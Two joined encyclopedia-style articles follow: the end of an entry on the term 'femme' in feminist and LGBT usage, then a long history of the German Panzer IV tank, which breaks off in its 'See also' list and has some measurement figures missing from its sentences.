Femme has also been used to describe a form of contemporary feminism which rejects the gender binary and acknowledges that individuals can fall anywhere within the gender spectrum, resulting in the possibility to be gender-less, gender-fluid, femme or masculine of center. Often using the phrase "women and femmes", adherents to this definition of femme believe that misogyny is used not only against women to inflict theoretical and physical violence but primarily against all feminine people. Connecting cisgendered male violence to toxic masculinity, they believe that patriarchy not only negatively affects female-identified people but men as well.
Many prominent femme-identified voices in mainstream media tend to be transfeminine and or non-binary individuals. The term femme is also essential to ballroom culture through the terms butch queen and femme queen, denoting a gay man and transgender woman respectively.
In February 2017, United Kingdom high-street stores Topshop and H&M began to sell T-shirts with femme-related slogans including "Femme Forever" and "Femme Vibe".
Use of fem(me) by gay men
From the 70s through 90s, gay male culture included the phrase "No Fats, No Femmes", and that persists in queer dating culture today. Constrained by character limitations on gay hookup apps such as Grindr and Scruff, "fem", "femm", and "femme" are used as an abbreviation for feminine. The ubiquitous phrase "No Fats, No Fems", indicating that a user does not want to be contacted by men of a certain size or feminine men, has been challenged by those in the gay community for perpetuating homonormative beauty ideals. "Fem" is used as a descriptor of one's appearance or mannerisms.
Lesbian femme erasure
The contemporary queer concepts of femme have been challenged by lesbians who still use the term based on its original meaning. With concern about the erasure of lesbian culture and history, it has been argued that taking a term from an already marginalised society is a form of misogynist appropriation that undervalues lesbian identities, history and women's autonomy to self-identify outside patriarchal structures.
See also
Butch
Butch and femme
Stone femme
Notes
References
Further reading
English words
Butch and femme
Lesbian culture
Bisexual culture
Slang terms for women
Women and sexuality
LGBT terminology
Gender roles in the LGBT community | [
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241257 | https://en.wikipedia.org/wiki/Panzer%20IV | Panzer IV | The Panzerkampfwagen IV (Pz.Kpfw. IV), commonly known as the Panzer IV, was a German medium tank developed in the late 1930s and used extensively during the Second World War. Its ordnance inventory designation was Sd.Kfz. 161.
The Panzer IV was the most numerous German tank and the second-most numerous German fully tracked armoured fighting vehicle of the Second World War; 8,553 Panzer IVs of all versions were built during World War II, only exceeded by the StuG III assault gun with 10,086 vehicles. Its chassis was also used as the base for many other fighting vehicles, including the Sturmgeschütz IV assault gun, the Jagdpanzer IV self-propelled anti-tank gun, the Wirbelwind self-propelled anti-aircraft gun, and the Brummbär self-propelled gun.
The Panzer IV saw service in all combat theatres involving Germany and was the only German tank to remain in continuous production throughout the war. It was originally designed for infantry support, while the similar Panzer III was to fight armoured fighting vehicles. However, as the Germans faced the formidable T-34, the Panzer IV had more development potential, with a larger turret ring to mount more powerful guns, so the two switched roles. It received various upgrades and design modifications, intended to counter new threats, extending its service life. Generally, these involved increasing the armour protection or upgrading the weapons, although during the last months of the war, with Germany's pressing need for rapid replacement of losses, design changes also included simplifications to speed up the manufacturing process.
The Panzer IV was partially succeeded by the Panther medium tank, which was introduced to counter the Soviet T-34, although it continued to be a significant component of German armoured formations to the end of the war. It was the most widely exported tank in German service, with around 300 sold to Finland, Romania, Spain and Bulgaria. After the war, Syria procured Panzer IVs from France and Czechoslovakia, which saw combat in the 1967 Six-Day War.
Development history
Origins
The Panzer IV was the brainchild of the German general and innovative armoured warfare theorist Heinz Guderian. In concept, it was intended to be a support tank for use against enemy anti-tank guns and fortifications. Ideally, each tank battalion in a panzer division was to have three medium companies of Panzer IIIs and one heavy company of Panzer IVs. On 11 January 1934, the German army wrote the specifications for a "medium tractor", and issued them to a number of defense companies. To support the Panzer III, which would be armed with a anti-tank gun, the new vehicle would have a short-barreled, howitzer-like as its main gun, and was allotted a weight limit of . Development was carried out under the name Begleitwagen ("accompanying vehicle"), or BW, to disguise its actual purpose, given that Germany was still theoretically bound by the Treaty of Versailles ban on tanks. MAN, Krupp, and Rheinmetall-Borsig each developed prototypes, with Krupp's being selected for further development.
The chassis had originally been designed with a six-wheeled Schachtellaufwerk interleaved-roadwheel suspension (as already adopted for German half-tracks), but the German Army amended this to a torsion bar system. Permitting greater vertical deflection of the roadwheels, this was intended to improve performance and crew comfort both on- and off-road. However, due to the urgent requirement for the new tank, neither proposal was adopted, and Krupp instead equipped it with a simple leaf spring double-bogie suspension, with eight rubber-rimmed roadwheels per side.
The prototype had a crew of five; the hull contained the engine bay to the rear, with the driver and radio operator, who doubled as the hull machine gunner, seated at the front-left and front-right, respectively. In the turret, the tank commander sat beneath his roof hatch, while the gunner was situated to the left of the gun breech and the loader to the right. The torque shaft ran from the rear engine to the transmission box in the front hull between the driver and radio operator. To keep the shaft clear of the rotary base junction, which provided electrical power to the turret including the motor to turn it, the turret was offset to the left of the chassis center line, and the engine was moved to the right. Due to the asymmetric layout, the right side of the tank contained the bulk of its stowage volume, which was taken up by ready-use ammunition lockers.
Accepted into service under the designation Versuchskraftfahrzeug 622 (Vs.Kfz. 622), "experimental motor vehicle 622", production began in 1936 at Fried. Krupp Grusonwerk AG factory at Magdeburg.
Ausf. A to Ausf. F1
The first mass-produced version of the Panzer IV was the Ausführung A (abbreviated to Ausf. A, meaning "Variant A"), in 1936. It was powered by a Maybach HL108 TR, producing , and used the SGR 75 transmission with five forward gears and one reverse, achieving a maximum road speed of . As main armament, the vehicle mounted the short-barreled, howitzer-like Kampfwagenkanone 37 L/24 (7.5 cm KwK 37 L/24) tank gun, which was a low-velocity weapon mainly designed to fire high-explosive shells. Against armoured targets, firing the Panzergranate (armour-piercing shell) at the KwK 37 could penetrate , inclined at 30 degrees, at ranges of up to . A MG 34 machine gun was mounted coaxially with the main weapon in the turret, while a second machine gun of the same type was mounted in the front plate of the hull. The main weapon and coaxial machine gun were sighted with a Turmzielfernrohr 5b optic while the hull machine gun was sighted with a Kugelzielfernrohr 2 optic. The Ausf. A was protected by of steel armour on the front plate of the chassis, and on the turret. This was only capable of stopping artillery fragments, small-arms fire, and light anti-tank projectiles. A total of 35 A versions were produced.
In 1937 production moved to the Ausf. B. Improvements included the replacement of the original engine with the more powerful Maybach HL 120TR, and the transmission with the new SSG 75 transmission, with six forward gears and one reverse gear. Despite a weight increase to , this improved the tank's speed to . The glacis plate was augmented to a maximum thickness of , while a new driver's visor was installed on the straightened hull front plate, and the hull-mounted machine gun was replaced by a covered pistol port and visor flap. The superstructure width and ammunition stowage were reduced to save weight. A new commander's cupola was introduced which was adopted from the Panzer III Ausf. C. A Nebelkerzenabwurfvorrichtung (smoke grenade discharger rack) was mounted on the rear of the hull starting in July 1938 and was back fitted to earlier Ausf. A and Ausf. B chassis starting in August 1938. Forty-two Panzer IV Ausf. Bs were manufactured.
The Ausf. C replaced the B in 1938. This saw the turret armour increased to , which brought the tank's weight to . After assembling 40 Ausf. Cs, starting with chassis number 80341, the engine was replaced with the improved HL 120TRM. The last of the 140 Ausf. Cs was produced in August 1939.
Production changed to the Ausf. D; this variant, of which 248 vehicles were produced, reintroduced the hull machine gun and changed the turret's internal gun mantlet to a thick external mantlet. Again, protection was upgraded, this time by increasing side armour to . As the German invasion of Poland in September 1939 came to an end, it was decided to scale up production of the Panzer IV, which was adopted for general use on 27 September 1939 as the Sonderkraftfahrzeug 161 (Sd.Kfz. 161).
In response to the difficulty of penetrating the thick armour of British infantry tanks (Matilda and Matilda II) during the Battle of France, the Germans had tested a gun — based on the 5 cm Pak 38 anti-tank gun — on a Panzer IV Ausf. D. However, with the rapid German victory in France, the original order of 80 tanks was cancelled before they entered production.
In October 1940, the Ausf. E was introduced. This had of armour on the bow plate, while a appliqué steel plate was added to the glacis as an interim measure. A new driver's visor, adopted from the Sturmgeschütz III was installed on the hull front plate. A new commander's cupola, adopted from the Panzer III Ausf. G, was relocated forward on the turret eliminating the bulge underneath the cupola. Older model Panzer IV tanks were retrofitted with these features when returned to the manufacturer for servicing. 206 Ausf. Es were produced between October 1940 and April 1941.
In April 1941, production of the Panzer IV Ausf. F started. It featured single-plate armour on the turret and hull, as opposed to the appliqué armour added to the Ausf. E, and a further increase in side armour to . The main engine exhaust muffler was shortened and a compact auxiliary generator muffler was mounted to its left. The weight of the vehicle was now , which required a corresponding modification of track width from to reduce ground pressure. The wider tracks also facilitated the fitting of track shoe "ice sprags", and the rear idler wheel and front sprocket were modified. The designation Ausf. F was changed in the meantime to Ausf. F1, after the distinct new model, the Ausf. F2, appeared. A total of 471 Ausf. F (later temporarily called F1) tanks were produced from April 1941 to March 1942.
Ausf. F2 to Ausf. J
On 26 May 1941, mere weeks before Operation Barbarossa, during a conference with Hitler, it was decided to improve the Panzer IV's main armament. Krupp was awarded the contract to integrate again the Pak 38 L/60 gun into the turret. The first prototype was to be delivered by 15 November 1941. Within months, the shock of encountering the Soviet T-34 medium and KV-1 heavy tanks necessitated a new, much more powerful tank gun. In November 1941, the decision to up-gun the Panzer IV to the gun was dropped, and instead Krupp was contracted in a joint development to modify Rheinmetall's pending anti-tank gun design, later known as 7.5 cm Pak 40 L/46.
Because the recoil length was too great for the tank's turret, the recoil mechanism and chamber were shortened. This resulted in the KwK 40 L/43. When the new KwK 40 was loaded with the Pzgr. 39 armour-piercing shell, the new gun fired the AP shell at some , a substantial 74% increase over the howitzer-like KwK 37 L/24 gun's muzzle velocity. Initially, the KwK 40 gun was mounted with a single-chamber, ball-shaped muzzle brake, which provided just under 50% of the recoil system's braking ability. Firing the Panzergranate 39, the KwK 40 L/43 could penetrate of steel armour at a range of .
The longer 7.5 cm guns were a mixed blessing. In spite of the designers' efforts to conserve weight, the new weapon made the vehicle nose-heavy to such an extent that the forward suspension springs were under constant compression. This resulted in the tank tending to sway even when no steering was being applied, an effect compounded by the introduction of the Ausführung H in March 1943.
The Ausf. F tanks that received the new, longer, KwK 40 L/43 gun were temporarily named Ausf. F2 (with the designation Sd.Kfz. 161/1). The tank increased in weight to . Differences between the Ausf. F1 and the Ausf. F2 were mainly associated with the change in armament, including an altered gun mantlet, internal travel lock for the main weapon, new gun cradle, new Turmzielfernrohr 5f optic for the L/43 weapon, modified ammunition stowage, and discontinuing of the Nebelkerzenabwurfvorrichtung in favor of turret mounted Nebelwurfgerät. Three months after beginning production, the Panzer IV Ausf. F2 was renamed Ausf. G.
During its production run from March 1942 to June 1943, the Panzer IV Ausf. G went through further modifications, including another armour upgrade which consisted of a face-hardened appliqué steel plate welded (later bolted) to the glacis—in total, frontal armour was now thick. This decision to increase frontal armour was favorably received according to troop reports on 8 November 1942, despite technical problems of the driving system due to added weight. At this point, it was decided that 50% of Panzer IV production would be fitted with thick additional armour plates. On 5 January 1943, Hitler decided that all Panzer IV should have frontal armour. To simplify production, the vision ports on either side of the turret and the loader's forward vision port in the turret front were removed, while a rack for two spare road wheels was installed on the track guard on the left side of the hull. Complementing this, brackets for seven spare track links were added to the glacis plate.
For operation in high temperatures, the engine's ventilation was improved by creating slits over the engine deck to the rear of the chassis, and cold weather performance was boosted by adding a device to heat the engine's coolant, as well as a starter fluid injector. A new light replaced the original headlight and the signal port on the turret was removed. On 19 March 1943, the first Panzer IV with Schürzen skirts on its sides and turret was exhibited. The double hatch for the commander's cupola was replaced by a single round hatch from very late model Ausf. G. and the cupola was up-armoured from to . In April 1943, the KwK 40 L/43 was replaced by the longer KwK 40 L/48 gun, with a redesigned multi-baffle muzzle brake with improved recoil efficiency. The longer L/48 resulted in the introduction of the Turmzielfernrohr 5f/1 optic.
The next version, the Ausf. H, began production in June 1943 and received the designation Sd. Kfz. 161/2. The integrity of the glacis armour was improved by manufacturing it as a single plate. A reinforced final drive with higher gear ratios was introduced. To prevent adhesion of magnetic anti-tank mines, which the Germans feared would be used in large numbers by the Allies, Zimmerit paste was added to all the vertical surfaces of the tank's armour. The turret roof was reinforced from to and segments. The vehicle's side and turret were further protected by the addition of hull skirts and turret skirts. This resulted in the elimination of the vision ports located on the hull side, as the skirts obstructed their view. During the Ausf. H's production run, its rubber-tired return rollers were replaced with cast steel, a lighter cast front sprocket and rear idler wheel gradually replaced the previous components, the hull was fitted with triangular supports for the easily damaged side skirts, the Nebelwurfgeraet was discontinued, and a mount in the turret roof, designed for the Nahverteidigungswaffe, was plugged by a circular armoured plate due to initial production shortages of this weapon.
These modifications meant that the tank's weight increased to . In spite of a new six-speed SSG 77 transmission adopted from the Panzer III, top speed dropped to as low as on cross country terrain. An experimental version of the Ausf H was fitted with a hydrostatic transmission but was not put into production.
Despite addressing the mobility problems introduced by the previous model, the final production version of the Panzer IV—the Ausf. J—was considered a retrograde from the Ausf. H. Born of necessity, to replace heavy losses, it was greatly simplified to speed production. The electric generator that powered the tank's turret traverse was removed, so the turret had to be rotated manually. The turret traversing mechanism was modified and fitted with a second gear which made hand-operation easier when the vehicle was on sloping terrain. On reasonably level ground, hand operation at 4 seconds to traverse to 12.5° and 29.5 seconds to traverse to 120° was achieved. The resulting space was later used for the installation of an auxiliary fuel tank; road range was thereby increased to , The remaining pistol and vision ports on the turret side hatches were removed, and the engine's radiator housing was simplified by changing the slanted sides to straight sides. Three sockets with screw threads for mounting a 2-ton jib boom crane were welded on the turret roof while the hull roof was thickened from to . In addition, the cylindrical muffler was replaced by two flame-suppressing mufflers. In June 1944 Wa Prüf 6 had decided that because bomb damage at Panzerfirma Krupp in Essen had seriously jeopardized tank production, all plates which should have been face-hardened for the Panzer IV were instead made with rolled homogeneous armour plate. By late 1944, Zimmerit was no longer being applied to German armoured vehicles, and the Panzer IV's side-skirts had been replaced by wire mesh, while the gunner's forward vision port in the turret front was eliminated and the number of return rollers was reduced from four to three to further speed-up production.
In a bid to augment the Panzer IV's firepower, an attempt was made to mate a Schmalturm turret — carrying the longer L/70 tank gun from the developing Panther Ausf. F tank design, and partly developed by Rheinmetall from early 1944 onwards — to a Panzer IV hull. This failed and confirmed that the chassis had reached the limit of its adaptability in both weight and available volume.
Production
The Panzer IV was originally intended to be used only on a limited scale, so initially Krupp was its sole manufacturer. Prior to the Polish campaign, only 217 Panzer IVs had been produced: 35 Ausf. A; 42 Ausf. B; and 140 Ausf. C; in 1941, production was extended to Vogtländische Maschinenfabrik ("VOMAG") (located in the city of Plauen) and the Nibelungenwerk in the Austrian city of St. Valentin.
In 1941, an average of 39 tanks per month were built; this rose to 83 in 1942, 252 in 1943, and 300 in 1944. However, in December 1943, Krupp's factory was diverted to manufacture the Sturmgeschütz IV and, in the spring of 1944, the Vomag factory began production of the Jagdpanzer IV, leaving the Nibelungenwerk as the only plant still assembling the Panzer IV. With the slow collapse of German industry under pressure from Allied air and ground offensives—in October 1944 the Nibelungenwerk factory was severely damaged during a bombing raid—by March and April 1945, production had fallen to pre-1942 levels, with only around 55 tanks per month coming off the assembly lines.
† – appliqué armour plate, bolted or welded on
‡ – Schürzen skirts
Export
The Panzer IV was one of the most widely exported German tanks of the Second World War. In 1942, Germany delivered 11 tanks to Romania and 32 to Hungary, many of which were lost on the Eastern Front between the final months of 1942 and the beginning of 1943 during the battles around Stalingrad, at which the Hungarian and Romanian troops there were almost annihilated by the attacking Soviet forces. Romania received approximately 120 Panzer IV tanks of different models throughout the entire war. To arm Bulgaria, Germany supplied 46 or 91 Panzer IVs, and offered Italy 12 tanks to form the nucleus of a new Italian Army armoured division. These were used to train Italian tank crews while the-then Italian leader Benito Mussolini was deposed shortly after the Allied conquest of Sicily but were then retaken by Germany during its occupation of Italy in mid-1943. The Falangist Spanish government petitioned for 100 Panzer IVs in March 1943 but only 20 were ever delivered by December that same year. Finland bought 30 but only received 15 in 1944 and in the same year a second batch of 62 or 72 was sent to Hungary (although 20 of these were subsequently diverted to replace German military losses). The Croatian Ustashe Militia received 10 Ausf. F1 and 5 Ausf. G in the autumn of 1944. In total, 297 Panzer IVs of all models were delivered to Germany's allies.
Combat history
The Panzer IV was the only German tank to remain in both production and combat throughout World War II, and measured over the entire war it comprised 30% of the Wehrmacht's total tank strength. Although in service by early 1939, in time for the occupation of Czechoslovakia, at the start of the war the majority of German armour was made up of obsolete Panzer Is and Panzer IIs. The Panzer I in particular had already proved inferior to Soviet tanks, such as the T-26, during the Spanish Civil War.
Poland, Western Front and North Africa (1939–1942)
When Germany invaded Poland on 1 September 1939, its armoured corps was composed of 1,445 Panzer Is, 1,223 Panzer IIs, 98 Panzer IIIs and 211 Panzer IVs; the more modern vehicles amounted to less than 10% of Germany's armoured strength. The 1st Panzer Division had a roughly equal balance of types, with 17 Panzer Is, 18 Panzer IIs, 28 Panzer IIIs, and 14 Panzer IVs per battalion. The remaining panzer divisions were heavy with obsolete models, equipped as they were with 34 Panzer Is, 33 Panzer IIs, 5 Panzer IIIs, and 6 Panzer IVs per battalion. Although the Polish Army possessed less than 200 tanks capable of penetrating the German light tanks, Polish anti-tank guns proved more of a threat, reinforcing German faith in the value of the close-support Panzer IV.
Despite increased production of the medium Panzer IIIs and IVs prior to the German invasion of France on 10 May 1940, the majority of German tanks were still light types. According to Heinz Guderian, the Wehrmacht invaded France with 523 Panzer Is, 955 Panzer IIs, 349 Panzer IIIs, 278 Panzer IVs, 106 Panzer 35(t)s and 228 Panzer 38(t)s. Through the use of tactical radios and superior tactics, the Germans were able to outmaneuver and defeat French and British armour. However, Panzer IVs armed with the KwK 37 L/24 tank gun found it difficult to engage French tanks such as the Somua S35 and Char B1. The Somua S35 had a maximum armour thickness of , while the KwK 37 L/24 could only penetrate at a range of . The British Matilda II was also heavily armoured, with at least of steel on the front and turret and a minimum of 65 mm on the sides, but were few in number.
Although the Panzer IV was deployed to North Africa with the German Afrika Korps, until the longer gun variant began production, the tank was outperformed by the Panzer III with respect to armour penetration. Both the Panzer III and IV had difficulty in penetrating the British Matilda II's thick armour, while the Matilda's 40-mm QF 2 pounder gun could knock out either German tank; the Matilda II's major disadvantage was its low speed. By August 1942, Rommel had only received 27 Panzer IV Ausf. F2s, armed with the L/43 gun, which he deployed to spearhead his armoured offensives. The longer gun could penetrate all American and British tanks in theater at ranges of up to , by that time the most heavily armoured of which was the M3 Grant. Although more of these tanks arrived in North Africa between August and October 1942, their numbers were insignificant compared to the amount of matériel shipped to British forces.
The Panzer IV also took part in the invasion of Yugoslavia and the invasion of Greece in early 1941.
Eastern Front (1941–1945)
With the launching of Operation Barbarossa on 22 June 1941, the unanticipated appearance of the KV-1 and T-34 tanks prompted an upgrade of the Panzer IV's gun to a longer, high-velocity 75 mm gun suitable for anti-tank use. This meant that it could now penetrate the T-34 at ranges of up to at any angle. The 75 mm KwK 40 L/43 gun on the Panzer IV could penetrate a T-34 at a variety of impact angles beyond range and up to . Shipment of the first model to mount the new gun, the Ausf. F2, began in spring 1942, and by the summer offensive there were around 135 Panzer IVs with the L/43 tank gun available. At the time, these were the only German tanks that could defeat T-34 or KV-1 with sheer firepower. They played a crucial role in the events that unfolded between June 1942 and March 1943, and the Panzer IV became the mainstay of the German panzer divisions. Although in service by late September 1942, the Tiger I was not yet numerous enough to make an impact and suffered from serious teething problems, while the Panther was not delivered to German units in the Soviet Union until May 1943. The extent of German reliance on the Panzer IV during this period is reflected by their losses; 502 were destroyed on the Eastern Front in 1942.
The Panzer IV continued to play an important role during operations in 1943, including at the Battle of Kursk. Newer types, such as the Panther, were still experiencing crippling reliability problems that restricted their combat efficiency, so much of the effort fell to the 841 Panzer IVs that took part in the battle. Throughout 1943, the German army lost 2,352 Panzer IVs on the Eastern Front; some divisions were reduced to 12–18 tanks by the end of the year. In 1944, a further 2,643 Panzer IVs were destroyed, and such losses were becoming increasingly difficult to replace. Nevertheless, due to a shortage of replacement Panther tanks, the Panzer IV continued to form the core of Germany's armoured divisions, including elite units such as the II SS Panzer Corps, through 1944.
In January 1945, 287 Panzer IVs were lost on the Eastern Front. It is estimated that combat against Soviet forces accounted for 6,153 Panzer IVs, or about 75% of all Panzer IV losses during the war.
Western Front (1944–45)
Panzer IVs comprised around half of the available German tank strength on the Western Front prior to the Allied invasion of Normandy on 6 June 1944. Most of the 11 panzer divisions that saw action in Normandy initially contained an armoured regiment of one battalion of Panzer IVs and another of Panthers, for a total of around 160 tanks, although Waffen-SS panzer divisions were generally larger and better equipped than their Heer counterparts. Regular upgrades to the Panzer IV had helped to maintain its reputation as a formidable opponent. The bocage countryside in Normandy favored defense, and German tanks and anti-tank guns inflicted very heavy casualties on Allied armour during the Normandy campaign, despite the overwhelming Allied air superiority. German counter-attacks were blunted in the face of Allied artillery, infantry-held anti-tank weapons, tank destroyers and anti-tank guns, as well as the ubiquitous fighter-bomber aircraft. The side skirt armour could predetonate shaped charge anti-tank weapons such as the British PIAT, but could be pulled away by rugged terrain. German tankers in all theaters were "frustrated by the way these skirts were easily torn off when going through dense brush".
The Allies had also been improving their tanks; the widely used American-designed M4 Sherman medium tank, while mechanically reliable, repairable, and available in large numbers, suffered from an inadequate gun in terms of armour-piercing. Against earlier-model Panzer IVs, it could hold its own, but with its 75 mm M3 gun, struggled against the late-model Panzer IV. The late-model Panzer IV's frontal hull armour could easily withstand hits from the weapon on the Sherman at normal combat ranges, though the turret remained vulnerable.
The British up-gunned the Sherman with their highly effective 76 mm QF 17-pounder anti-tank gun, resulting in the Firefly; although this was the only Allied tank capable of dealing with all current German tanks at normal combat ranges, few (342) were available in time for the Normandy invasion. One Sherman in every British troop of four was a Firefly. By the end of the Normandy campaign, a further 550 Fireflies were built. which was enough to make good any losses. A second British tank equipped with the 17-pdr gun, the Cruiser Mk VIII Challenger, could not participate in the initial landings having to wait for port facilities to be ready to land. It was not until July 1944 that American Shermans fitted with the 76 mm gun M1 gun achieved a parity in firepower with the Panzer IV.
By 29 August 1944, as the last surviving German troops of Fifth Panzer Army and Seventh Army began retreating towards Germany, the twin cataclysms of the Falaise Pocket and the Seine crossing cost the Wehrmacht dearly. Of the 2,300 tanks and assault guns it had committed to Normandy (including around 750 Panzer IVs), over 2,200 had been lost. Field Marshal Walter Model reported to Hitler that his panzer divisions had remaining, on average, five or six tanks each.
During the winter of 1944–45, the Panzer IV was one of the most numerous tanks in the Ardennes offensive, where further heavy losses—as often due to fuel shortages as to enemy action—impaired major German armoured operations in the West thereafter. The Panzer IVs that took part were survivors of the battles in France between June and September 1944, with around 260 additional Panzer IV Ausf. Js issued as reinforcements.
Other users
Finland bought 15 new Panzer IV Ausf. Js in 1944 for 5,000,000 Finnish markkas each. The remainder of an order for 40 tanks and some StuG IIIs were not delivered and neither were necessary German tank instructors provided. The tanks arrived too late to see action against the Soviet Union but instead ended up being used against Nazi Germany during their withdrawal through Lapland. After the war, they served as training tanks and one portrayed a Soviet KV-1 tank in the movie The Unknown Soldier in 1955. The additional weight, going from the 18.4 tons (Ausf. A) to about 25 tons (Ausf. J), of these modifications strained the simple leaf springed suspension. As a result, the Finnish Army often referred to the PzKpfw IV Ausf.J as the “shaker” for its rough ride, when compared to their StuG III's which by comparison had the much better torsion-bar suspension of the PzKpfw III. According to the Finnish this not only affected general crew comfort, but also hampered the accurate aiming of the main gun whilst on the move. What exactly caused these "vibrations" that gave the PzKw IV Ausf. J such a bad name among Finnish tank crews remains somewhat unclear as it isn't mentioned in any German or Allied descriptions, but the inadequate leaf spring suspension and comparison with the very smooth ride of the StuG III seems to be the most likely cause.
After 1945, Bulgaria incorporated its surviving Panzer IVs into defensive bunkers as gunpoints on its border with Turkey, along with Soviet T-34 turrets. This defensive line, known as the "Krali Marko Line", remained in use until the fall of communism in 1989.
Twenty Panzer IV Ausf. Hs and ten StuG III Ausf. Gs were supplied to Spain in December 1943, a small fraction of what Spain had originally asked for. The Panzer IV represented the best tank in Spanish service between 1944 and 1954, and was deployed along with T-26s and Panzer Is. Spain sold 17 Panzer IVs to Syria in 1967, with the remaining three left conserved. These can be found in Madrid, Burgos and Santovenia de Pisuerga (Valladolid).
Most of the tanks Romania had received were lost during combat between 1944 and 1945. These tanks, designated T4 in the army's inventory, were used by the Army's 2nd Armoured Regiment. On 9 May 1945, only two Panzer IVs were left. Romania received another 50 captured Panzer IV tanks from the Red Army after the end of the war. These tanks were of many different models and were in very bad shape—many of them were missing parts and the side-skirts. These German T4 tanks remained in service until 1950, when the Army decided to use only Soviet equipment. By 1954, all German tanks in Romanian military service had been scrapped.
While their numbers remain uncertain, Syria received around 60 Panzers that were refurbished in France between 1950 and 1952, followed by 50 others purchased from Czechoslovakia in 1954, per the Czechoslovakia-Syria arms deal. A Soviet 12.7mm DShK machine gun on an anti-aircraft mount was retrofitted on the cupola. These ex-German tanks were used to shell Israeli settlements below the Golan Heights, together with Soviet-supplied T-34s, and were fired upon in 1965 during the Water War by Israeli Super Sherman and Centurion tanks. Syria received 17 Panzer IVs from Spain, with these seeing combat during the Six-Day War in 1967. Several of Syria's Panzer IVs were captured by the Israeli Army and donated to the Yad La-Shiryon museum. The AAF Tank Museum in Danville, Virginia later traded a US M5 Stuart light tank to the Latrun museum for one of the Czechoslovak-origin Panzer IVs, which is now an exhibit there.
In addition, Turkey was a buyer, with 35 Panzer IVs received until 4 May 1944 in exchange for some chromium ore. Delivery began with the Ausf. G and probably went on with Ausf. H versions. Other sources state only 15 to 22 tanks were delivered in 1943, all of the Ausf G version.
Captured Panzer IVs in service
The Soviet Army captured significant numbers of German armoured vehicles, including Panzer IVs (its Russian designation was "T-4"). Some of them were pressed into temporary service and some others were used for driver or anti-tank training. Sometimes, captured tanks were used in different temporary units or as single tanks. While captured Tiger I/IIs and Panthers were only permitted to be used until they irrecoverably broke down, the simplicity of the Panzer IV and the large number of captured parts allowed for long-term repair and continued use.
At least one captured Panzer IV Ausf. H was used by the Warsaw Tank Brigade of the Polish 2nd Corps in Italy during 1944.
The 1st GMR (Groupement Mobile de Reconnaissance) of the FFI (French Forces of the Interior), later called 'Escadron Autonome de Chars Besnier', was equipped in December 1944 with at least one Panzer IV.
Reliability
From an after-action report submitted by PzRgt 6 on 23 July 1941:
(The workshop company added some further notes:)
After that report from the units, the Inspector General of Armored Troops acknowledged this in a report, at 1944.05.06.:
Der Generalinspekteur der Panzertruppen
-Leitender Kraftfahrzeugoffizer-
Bb Nr. 3177/44
Variants
In keeping with the wartime German design expediencies of mounting an existing anti-tank gun on a convenient chassis to give mobility, several tank destroyers and infantry support guns were built around the Panzer IV hull. Both the Jagdpanzer IV, initially armed with the L/48 tank gun, and the Krupp-manufactured Sturmgeschütz IV, which was the casemate of the Sturmgeschütz III mounted on the body of the Panzer IV, proved highly effective in defense. Cheaper and faster to construct than tanks, but with the disadvantage of a very limited gun traverse, around 1,980 Jagdpanzer IVs and 1,140 Sturmgeschütz IVs were produced. Another tank destroyer, the Panzer IV/70, used the same basic 75-millimeter L/70 gun that was mounted on the Panther.
Another variant of the Panzer IV was the Panzerbefehlswagen IV (Pz. Bef. Wg. IV) command tank. This conversion entailed the installation of additional radio sets with associated mounting racks, transformers, junction boxes, wiring, antennas and an auxiliary electrical generator. To make room for the new equipment, ammunition stowage was reduced from 87 to 72 rounds. The vehicle could coordinate with nearby armour, infantry or even aircraft. Seventeen Panzerbefehlswagen were built on Ausf. J chassis in August and September 1944, while another 88 were based on refurbished chassis.
The Panzerbeobachtungswagen IV (Pz. Beob. Wg. IV) was an artillery observation vehicle built on the Panzer IV chassis. This, too, received new radio equipment and an electrical generator, installed in the left rear corner of the fighting compartment. Panzerbeobachtungswagens worked in cooperation with Wespe and Hummel self-propelled artillery batteries.
Also based on the Panzer IV chassis was the Sturmpanzer IV (called "Brummbär" by Allied intelligence) infantry-support self-propelled gun. These vehicles were primarily issued to four Sturmpanzer units (Numbers 216, 217, 218 and 219) and used during the battle of Kursk and in Italy in 1943. Two separate versions of the Sturmpanzer IV existed, one without a machine gun in the mantlet and one with a machine gun mounted on the mantlet of the casemate. Furthermore, a artillery gun was mounted in an experimental demountable turret on a Panzer IV chassis. This variant was called the Heuschrecke ("grasshopper"). Another 105 mm artillery/anti-tank prototype was the 10.5 cm K (gp.Sfl.) nicknamed Dicker Max.
Four different self-propelled anti-aircraft vehicles were built on the Panzer IV hull. The Flakpanzer IV "Möbelwagen" ("moving van") was armed with a anti-aircraft cannon; 240 were built between 1944 and 1945. In late 1944 a new Flakpanzer, the Wirbelwind ("whirlwind"), was designed, with enough armour to protect the gun's crew in a rotating turret, armed with the quadruple 20 mmFlakvierling anti-aircraft cannon system; at least 100 were manufactured. Sixty-five (out of an order for 100) similar vehicles with a single 37 mm anti-aircraft cannon were built named Ostwind ("East wind"). This vehicle was designed to replace the Wirbelwind. The final model was the Flakpanzer IV Kugelblitz, of which only five pilot vehicles were built. This vehicle featured an enclosed turret armed with twin Rheinmetall-Borsig MK 103 aircraft cannon.
Although not a direct modification of the Panzer IV, some of its components, in conjunction with parts from the Panzer III, were utilized to make one of the most widely used self-propelled artillery chassis of the war—the Geschützwagen III/IV. This chassis was the basis of the Hummel, of which 666 were built, and also the gun-armed Nashorn tank destroyer, with 473 manufactured. To resupply self-propelled howitzers in the field, 150 ammunition carriers were manufactured on the Geschützwagen III/IV chassis.
Another variant was the Bergepanzer IV armoured recovery vehicle. Some were believed to have been converted locally, 21 were converted from hulls returned for repair between October 1944 and January 1945. The conversion involved removing the turret and adding a wooden plank cover with an access hatch over the turret ring and the addition of a 2-ton jib crane and rigid towing bars.
Another rare variant was the Panzer IV mit hydrostatischem antrieb. In 1944, Zahnradfabrik (ZF) Augsburg plant produced a prototype with an unusual drive concept. A Panzer IV Ausf. H tank received a fluid drive instead of the normal gearbox. Two oil pumps were installed behind the engine, which in turn drove two oil engines. An axial engine drive transmitted the power to the rear drive wheels via a reduction gear. Instead of the two steering levers, the driver had a crescent-shaped steering wheel with the steering movements of which two steering cylinders were operated, which in turn regulated the volume of the oil pumps and thus regulated the adjacent force on the two drive wheels. The only prototype built was not used and was shipped to America after the war to be subjected to driving tests. These finally had to be discontinued due to a lack of spare parts. The only surviving vehicle is now in United States Army Ordnance Training and Heritage Center in Maryland.
Production models
Variants based on chassis
See also
List of military vehicles of World War II
List of World War II military vehicles of Germany
List of Sd.Kfz. designations
Panzer III/IV
Tanks of comparable role, performance and era
Argentine Nahuel DL 43
Australian Sentinel
Australian Thunderbolt
British Cavalier
British Cromwell
Canadian Ram II (up to Ausf. G variant)
Canadian Grizzly I
